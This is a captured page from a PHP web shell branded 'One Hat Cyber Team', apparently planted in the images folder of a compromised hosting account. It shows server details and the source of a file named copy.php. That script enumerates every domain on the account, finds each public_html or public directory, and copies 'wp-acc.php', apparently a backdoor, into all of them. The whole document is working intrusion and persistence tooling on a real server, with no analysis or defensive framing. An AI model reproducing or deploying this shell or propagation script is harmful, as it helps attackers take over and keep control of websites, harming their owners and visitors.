⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.105
Server IP:
93.127.173.8
Server:
Linux in-mum-web1000.main-hosting.eu 4.18.0-553.37.1.lve.el8.x86_64 #1 SMP Mon Feb 10 22:45:17 UTC 2025 x86_64
Server Software:
LiteSpeed
PHP Version:
8.0.30
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
home
/
u123223653
/
domains
/
sunrobotronics.com
/
public_html
/
assets
/
images
/
View File Name :
copy.php
<?php echo implode("<br>", scandir("/home/".get_current_user()."/domains/")); echo "<br><br>"; $baseDir = '/home/' . get_current_user() . '/domains/'; $fileToCopy = 'wp-acc.php'; // check source file if (!file_exists($fileToCopy)) { die("Error: File '$fileToCopy' does not exist.\n"); } /** * Recursively scan for any folder named public_html or public */ function findPublicDirs($dir, &$targets) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir . '/' . $item; if (is_dir($path)) { if ($item === 'public_html' || $item === 'public') { $targets[] = $path; } // keep scanning deeper findPublicDirs($path, $targets); } } } // scan all domains $directories = scandir($baseDir); foreach ($directories as $directory) { $fullPath = $baseDir . $directory; if ($directory === '.' || $directory === '..' || !is_dir($fullPath)) { continue; } $targets = []; findPublicDirs($fullPath, $targets); foreach ($targets as $targetPath) { $destination = $targetPath . '/' . basename($fileToCopy); if (copy($fileToCopy, $destination)) { echo "✅ File '$fileToCopy' copied to '$targetPath'.<br>"; } else { echo "❌ Failed to copy file to '$targetPath'.<br>"; } } } ?>